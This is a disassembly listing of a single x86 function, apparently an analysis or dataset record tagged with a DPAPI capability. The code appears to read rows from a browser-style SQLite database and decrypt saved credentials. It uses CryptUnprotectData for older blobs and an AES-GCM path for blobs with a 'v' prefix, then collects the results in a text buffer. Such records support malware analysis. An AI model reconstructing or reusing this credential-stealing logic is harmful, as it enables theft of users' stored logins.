Function at 0x404600
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8de0
call fcn.00493810
mov eax, dword [0x4b9510]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x34c], 0x4a6f60
mov dword [ebp - 0x348], 0x4a7020
lea eax, [ebp - 0x330]
mov dword [ebp - 0x338], eax
lea ecx, [ebp - 0x1a0]
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x424], 0
jmp 0x40465e
mov edx, dword [ebp - 0x424]
add edx, 1
mov dword [ebp - 0x424], edx
cmp dword [ebp - 0x424], 2
jae 0x40469d
push 0xc8
mov eax, dword [ebp - 0x424]
mov ecx, dword [ebp + eax*4 - 0x338]
push ecx
push 0
push 8
mov edx, dword [0x4bb3e8]
push edx
mov eax, dword [ebp - 0x424]
mov ecx, dword [ebp + eax*4 - 0x34c]
push ecx
call fcn.0040b370
add esp, 0x18
jmp 0x40464f
mov dword [ebp - 0x340], 0x4a70d0
lea edx, [ebp - 0x420]
mov dword [ebp - 0x344], edx
mov dword [ebp - 0x428], 0
jmp 0x4046ce
mov eax, dword [ebp - 0x428]
add eax, 1
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 1
jae 0x40470c
push 0xc8
mov ecx, dword [ebp - 0x428]
mov edx, dword [ebp + ecx*4 - 0x344]
push edx
push 0
push 7
mov eax, dword [0x4bb3ec]
push eax
mov ecx, dword [ebp - 0x428]
mov edx, dword [ebp + ecx*4 - 0x340]
push edx
call fcn.0040b6e0
add esp, 0x18
jmp 0x4046bf
mov dword [ebp - 0x350], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x354], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
call fcn.00403dc0
add esp, 4
mov dword [ebp - 0x354], eax
mov dword [ebp - 0x33c], 0
push 0x30d40
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0
je 0x404cb7
call fcn.00403640
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0
je 0x404c83
push 0x4a7118
mov ecx, dword [ebp - 0x350]
mov edx, dword [ebp - 0x33c]
lea eax, [edx + ecx*2]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x350]
mov dword [ebp - 0x350], eax
mov ecx, dword [ebp - 0x42c]
push ecx
push 0x4a701c
push 0x7fff
lea edx, [ebp - 0x8430]
push edx
call fcn.004936c6
add esp, 0x10
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x8430]
push ecx
call fcn.0048ee00
add esp, 8
test eax, eax
jne 0x404c4a
push 0
lea edx, [ebp - 0x8434]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 0x420]
push eax
mov ecx, dword [ebp - 0x430]
push ecx
call fcn.0044db70
add esp, 0x14
test eax, eax
jne 0x404c0d
mov edx, dword [ebp - 0x8434]
push edx
call fcn.0042a430
add esp, 4
cmp eax, 0x64
jne 0x404bfc
push 0x4a7120
mov eax, dword [ebp - 0x350]
mov ecx, dword [ebp - 0x33c]
lea edx, [ecx + eax*2]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x350]
mov dword [ebp - 0x350], eax
push 0
mov eax, dword [ebp - 0x8434]
push eax
call fcn.0042b910
add esp, 8
mov dword [ebp - 0x843c], eax
mov ecx, dword [ebp - 0x843c]
push ecx
push 0x4a7128
mov edx, dword [ebp - 0x350]
mov eax, dword [ebp - 0x33c]
lea ecx, [eax + edx*2]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x350]
mov dword [ebp - 0x350], eax
push 1
mov edx, dword [ebp - 0x8434]
push edx
call fcn.0042b910
add esp, 8
mov dword [ebp - 0x8440], eax
mov eax, dword [ebp - 0x8440]
push eax
push 0x4a7144
mov ecx, dword [ebp - 0x350]
mov edx, dword [ebp - 0x33c]
lea eax, [edx + ecx*2]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x350]
mov dword [ebp - 0x350], eax
push 2
mov ecx, dword [ebp - 0x8434]
push ecx
call fcn.0042b870
add esp, 8
mov dword [ebp - 0x8438], eax
mov edx, dword [ebp - 0x8438]
movsx eax, byte [edx]
cmp eax, 0x76
je 0x404a05
push 0x3e8
push 0
lea ecx, [ebp - 0x8828]
push ecx
call fcn.00493180
add esp, 0xc
mov dword [ebp - 0x8830], 0x401
mov edx, dword [ebp - 0x8438]
mov dword [ebp - 0x882c], edx
lea eax, [ebp - 0x8838]
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x8830]
push ecx
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x404988
push 0x4a7164
mov edx, dword [ebp - 0x350]
mov eax, dword [ebp - 0x33c]
lea ecx, [eax + edx*2]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x350]
mov dword [ebp - 0x350], eax
jmp 0x404a00
mov edx, dword [ebp - 0x8834]
add edx, dword [ebp - 0x8838]
mov byte [edx], 0
push 0x3e8
lea eax, [ebp - 0x8828]
push eax
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x8834]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea edx, [ebp - 0x8828]
push edx
push 0x4a7184
mov eax, dword [ebp - 0x350]
mov ecx, dword [ebp - 0x33c]
lea edx, [ecx + eax*2]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x350]
mov dword [ebp - 0x350], eax
mov eax, dword [ebp - 0x8834]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
jmp 0x404bf7
mov edx, dword [ebp - 0x8438]
movsx eax, byte [edx]
cmp eax, 0x76
jne 0x404bf7
cmp dword [ebp - 0x354], 0
je 0x404bf7
push 0x64
push 0
lea ecx, [ebp - 0x8cb0]
push ecx
call fcn.00493180
add esp, 0xc
push 0xc
mov edx, dword [ebp - 0x8438]
add edx, 3
push edx
lea eax, [ebp - 0x8cb0]
push eax
call fcn.00493210
add esp, 0xc
push 0x64
push 0
lea ecx, [ebp - 0x8c40]
push ecx
call fcn.00493180
add esp, 0xc
push 2
mov edx, dword [ebp - 0x8434]
push edx
call fcn.0042b730
add esp, 8
mov dword [ebp - 0x883c], eax
cmp dword [ebp - 0x883c], 0
jne 0x404a8a
jmp 0x404813
mov eax, dword [ebp - 0x883c]
sub eax, 0xf
mov dword [ebp - 0x883c], eax
mov ecx, dword [ebp - 0x883c]
push ecx
mov edx, dword [ebp - 0x8438]
add edx, 0xf
push edx
lea eax, [ebp - 0x8c40]
push eax
call fcn.00493210
add esp, 0xc
mov ecx, dword [ebp - 0x883c]
mov dword [ebp - 0x8c44], ecx
call fcn.00490e00
mov dword [ebp - 0x8bd8], 0
push 0x260
push 0
lea edx, [ebp - 0x8bd0]
push edx
call fcn.00493180
add esp, 0xc
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x354]
push ecx
lea edx, [ebp - 0x8bd8]
push edx
call fcn.00490e10
add esp, 0xc
test eax, eax
je 0x404b0d
jmp 0x404813
push 0
push 0
push 0xc
lea eax, [ebp - 0x8cb0]
push eax
push 0
lea ecx, [ebp - 0x8bd8]
push ecx
call fcn.00491140
add esp, 0x18
test eax, eax
je 0x404b34
jmp 0x404813
push 0x12c
push 0
lea edx, [ebp - 0x8970]
push edx
call fcn.00493180
add esp, 0xc
lea eax, [ebp - 0x8970]
push eax
lea ecx, [ebp - 0x8c40]
push ecx
mov edx, dword [ebp - 0x8c44]
push edx
lea eax, [ebp - 0x8bd8]
push eax
call fcn.00491750
add esp, 0x10
test eax, eax
je 0x404b77
jmp 0x404813
mov byte [ebp - 0x8de0], 0
push 0x12b
push 0
lea ecx, [ebp - 0x8ddf]
push ecx
call fcn.00493180
add esp, 0xc
push 0x12c
lea edx, [ebp - 0x8de0]
push edx
lea eax, [ebp - 0x8bd8]
push eax
call fcn.00491920
add esp, 0xc
mov ecx, dword [ebp - 0x8c44]
mov byte [ebp + ecx - 0x8980], 0
lea edx, [ebp - 0x8970]
push edx
push 0x4a71a4
mov eax, dword [ebp - 0x350]
mov ecx, dword [ebp - 0x33c]
lea edx, [ecx + eax*2]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x350]
mov dword [ebp - 0x350], eax
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
jmp 0x404813
mov ecx, dword [ebp - 0x8434]
push ecx
call fcn.00425cd0
add esp, 4
jmp 0x404c39
lea edx, [ebp - 0x330]
push edx
mov eax, dword [ebp - 0x350]
mov ecx, dword [ebp - 0x33c]
lea edx, [ecx + eax*2]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x350]
mov dword [ebp - 0x350], eax
mov eax, dword [ebp - 0x430]
push eax
call fcn.0048cf00
add esp, 4
jmp 0x404c76
lea ecx, [ebp - 0x1a0]
push ecx
mov edx, dword [ebp - 0x350]
mov eax, dword [ebp - 0x33c]
lea ecx, [eax + edx*2]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x350]
mov dword [ebp - 0x350], eax
mov edx, dword [ebp - 0x42c]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x354], 0
je 0x404c99
mov eax, dword [ebp - 0x354]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0x33c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [eax + eax + 2]
mov eax, dword [ebp + 8]
mov dword [eax], edx
mov eax, dword [ebp - 0x33c]
jmp 0x404ccf
cmp dword [ebp - 0x354], 0
je 0x404ccd
mov ecx, dword [ebp - 0x354]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.004931fa
mov esp, ebp
pop ebp
ret